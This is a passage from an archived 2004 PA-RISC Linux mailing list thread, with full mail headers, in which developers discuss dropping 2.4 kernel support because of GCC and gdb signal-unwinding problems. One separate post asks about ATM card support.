	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21651

On Mon, May 24, 2004 at 11:32:27AM -0700, Randolph Chung wrote:
> Hi all,
> 
> I'd like to take an informal "survey" of what kernel versions people are
> using....

2.4.25-pa1 on a C3000

> If you are one of those people who really care about 2.4 support, please
> speak up now! 

At the time, I was working on some things that required
SysV streams, and LiS won't run on 2.6. Now I don't need
LiS anymore. That said, the box is quite stable, so I
don't plan to touch the kernel unless a compelling reason
presents itself, in which case a change to 2.6 won't cause
any additional pain.

/w
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 15:37:33 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200405241937.i4OJbX07011585__29526.7682908618$1416623451$gmane$org@hiauly1.hia.nrc.ca>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623451 9446 80.91.229.3 (22 Nov 2014 02:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6437 invoked by uid 65534); 24 May 2004 19:38:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 24 May 2004 21:38:01 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 71CB63BE36; Mon, 24 May 2004 13:37:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CE77D3BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 13:37:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i4OJbXCp011587; Mon, 24 May 2004 15:37:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4OJbX07011585;
	Mon, 24 May 2004 15:37:33 -0400 (EDT)
In-Reply-To: <20040524183227.GW7207@tausq.org> from "Randolph Chung" at May 24,
	2004 11:32:27 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21652

> If you are one of those people who really care about 2.4 support, please
> speak up now! 

Here is a little background on this issue.  Randolph has done a
considerable amount of work to port libffi to the PA, and then add
unwind and other support support to libjava.  This gives us a
working Java implementation.  Thanks, Randolph!

This work is currently being integrated into GCC 3.5.  This is working
well with 2.6, but we have problems with unwinding through signal
frames on 2.4.  64-bit support is completely broken.  On at least
some 32-bit kernels, we end up with hung processes that can bring
the system to its knees.

We are having a little debate as to whether we need to support 2.4,
given that GCC 3.5 probably won't be out for a year or so.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 12:40:32 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20040524194032.GZ7207__35830.0476022579$1416623451$gmane$org@tausq.org>
References: <20040524183227.GW7207@tausq.org> <200405241937.i4OJbX07011585@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623451 9448 80.91.229.3 (22 Nov 2014 02:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15479 invoked by uid 65534); 24 May 2004 19:40:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx050) with SMTP; 24 May 2004 21:40:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 4F087EE0D; Mon, 24 May 2004 14:40:37 -0500 (CDT)
Old-Return-Path: <randolph@tausq.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by murphy.debian.org (Postfix) with ESMTP id BD9FDE935
	for <debian-hppa@lists.debian.org>; Mon, 24 May 2004 14:40:27 -0500 (CDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 13B25CD299; Mon, 24 May 2004 12:40:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200405241937.i4OJbX07011585@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Rc-Virus: 2004-05-14_01
X-Rc-Spam: 2004-05-23_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_05_23_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_05_23_01
Resent-Message-ID: <pSylPD.A.2NG.0-ksAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3612
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 24 May 2004 14:40:37 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21653

> Here is a little background on this issue.  Randolph has done a
> considerable amount of work to port libffi to the PA, and then add
> unwind and other support support to libjava.  This gives us a
> working Java implementation.  Thanks, Randolph!

you are welcome.

it's not just gcc though; gdb has almost the same bits of signal
unwinding code so it has the same issues. there are also other instances
where things are working in 2.6 but not in 2.4 (especially with all the
compat work for 32-bit userspace/64-bit kernel that has gone into 2.6).

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-2?Q?Bart=B3omiej_Ochman?= <ochman@ark.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Alaxis GSC+ 155Mb ATM
Date: Mon, 24 May 2004 21:46:00 +0200
Organization: DR R.KUSZLEYKO Zespol Doradczy
Lines: 14
Approved: news@gmane.org
Message-ID: <40B250F8.4020203@ark.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623452 9450 80.91.229.3 (22 Nov 2014 02:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1060 invoked by uid 65534); 24 May 2004 19:47:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 24 May 2004 21:47:49 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 830F13BE42; Mon, 24 May 2004 13:47:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id 214303BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 13:47:34 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i4OJjYUw005559 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 21:45:34 +0200
Original-Received: from ark.pl (fback@wifi2.home.fback.net [192.168.1.2])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i4OJlOMO010021
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 21:47:24 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en-us, pl
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21654

Hello,

I have C200+ with Alaxis GSC+ 155Mb ATM card added. Is there any hope it 
will be supported in parisc-linux, or I just can't ask google the right 
question?

Regards,
BO
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 22:19:08 +0200
Organization: ESIEE
Lines: 31
Approved: news@gmane.org
Message-ID: <20040524221908.0eee0174.varenet@esiee.fr>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623452 9451 80.91.229.3 (22 Nov 2014 02:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:52 +0000 (UTC)
Cc: tausq@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16752 invoked by uid 65534); 24 May 2004 20:19:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 24 May 2004 22:19:34 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 578953BE4E; Mon, 24 May 2004 14:19:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep18-int.chello.at (viefep18-int.chello.at [213.46.255.21])
	by free.linux.hp.com (Postfix) with ESMTP id 3C9403BDE1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 14:19:17 -0600 (MDT)
Original-Received: from bibou ([212.186.189.113]) by viefep18-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with SMTP
	id <20040524201914.FJGC4337.viefep18-int.chello.at@bibou>;
	Mon, 24 May 2004 22:19:14 +0200
In-Reply-To: <20040524183227.GW7207@tausq.org>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21655

On Mon, 24 May 2004 11:32:27 -0700
"Randolph Chung" <tausq@debian.org> wrote:

> Hi all,
> 
> I'd like to take an informal "survey" of what kernel versions people
> are using....
[snip]
> If you are one of those people who really care about 2.4 support,
> please speak up now! 

We're mostly using 2.4 on our production and devel machines, as the
following page shows:

http://www.pateam.org/realisations.html

Some of them could be switched to 2.6, but not the SMP ones, which are
64bit btw, until SMP is proven efficient on 2.6.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 23:36:27 +0200 (MEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200405242136.i4OLaRtN003029__23058.5327525207$1416623452$gmane$org@arbas.nms.ulrich-teichert.org>
References: <200405241937.i4OJbX07011585@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623452 9453 80.91.229.3 (22 Nov 2014 02:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10006 invoked by uid 65534); 24 May 2004 21:28:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 24 May 2004 23:28:53 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2C0713BE54; Mon, 24 May 2004 15:28:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from arbas.nms.ulrich-teichert.org (i3ED65304.versanet.de
	[62.214.83.4])
	by free.linux.hp.com (Postfix) with ESMTP id 826A93BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 15:28:41 -0600 (MDT)
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1) with ESMTP id
	i4OLaUYT003036; Mon, 24 May 2004 23:36:30 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.12.10/8.12.1/Submit) id
	i4OLaRtN003029; Mon, 24 May 2004 23:36:27 +0200
X-Authentication-Warning: arbas.nms.ulrich-teichert.org: ut set sender to
	krypton using -f
In-Reply-To: <200405241937.i4OJbX07011585@hiauly1.hia.nrc.ca> from "John David
	Anglin" at May 24, 2004 03:37:33 PM
X-Mailer: ELM [version 2.5 PL2]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21656

Hi,

[del]
>Here is a little background on this issue.  Randolph has done a
>considerable amount of work to port libffi to the PA, and then add
>unwind and other support support to libjava.  This gives us a
>working Java implementation.  Thanks, Randolph!

Yupp, that's a step forward.

>This work is currently being integrated into GCC 3.5.  This is working
>well with 2.6, but we have problems with unwinding through signal
>frames on 2.4.  64-bit support is completely broken.  On at least
>some 32-bit kernels, we end up with hung processes that can bring
>the system to its knees.

Well, I could only speak for myself and my little boxes, and I would
say only do the absolute minimum required (like security fixes). Getting
new gcc 3.5 (or gdb) code to work, I would not count as necessary.

>We are having a little debate as to whether we need to support 2.4,
>given that GCC 3.5 probably won't be out for a year or so.

Just make it clear in the release notes and let the compile fail on
2.4 with an #error, IMHO. Does that sound too lazy ?-)

HTH,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de
Stormweg 24               |listening to: Noticable One (Rotten Apples)
24539 Neumuenster, Germany|Obstacle 1 (Interpol) Paranoia (N.Y. Rel-X)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 17:47:31 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200405242147.i4OLlVoZ012250__13113.338899757$1416623453$gmane$org@hiauly1.hia.nrc.ca>
References: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623453 9454 80.91.229.3 (22 Nov 2014 02:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: krypton@ulrich-teichert.org (Ulrich Teichert)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29253 invoked by uid 65534); 24 May 2004 21:48:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 24 May 2004 23:48:09 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 113EA3BE58; Mon, 24 May 2004 15:47:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 494113BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 May 2004 15:47:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i4OLlWCp012251; Mon, 24 May 2004 17:47:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4OLlVoZ012250;
	Mon, 24 May 2004 17:47:31 -0400 (EDT)
In-Reply-To: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org> from
	"Ulrich Teichert" at May 24, 2004 11:36:27 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21657

> Just make it clear in the release notes and let the compile fail on
> 2.4 with an #error, IMHO. Does that sound too lazy ?-)

Yes.  It's a runtime issue and nobody seems to read the release notes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Support for 2.4.x kernels on hppa
Date: Mon, 24 May 2004 18:53:58 -0300 (ADT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0405241846200.24577__48597.3492417999$1416623453$gmane$org@brain.fop.ns.ca>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623453 9456 80.91.229.3 (22 Nov 2014 02:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:53 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29329 invoked by uid 65534); 24 May 2004 21:54:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 24 May 2004 23:54:16 +0200
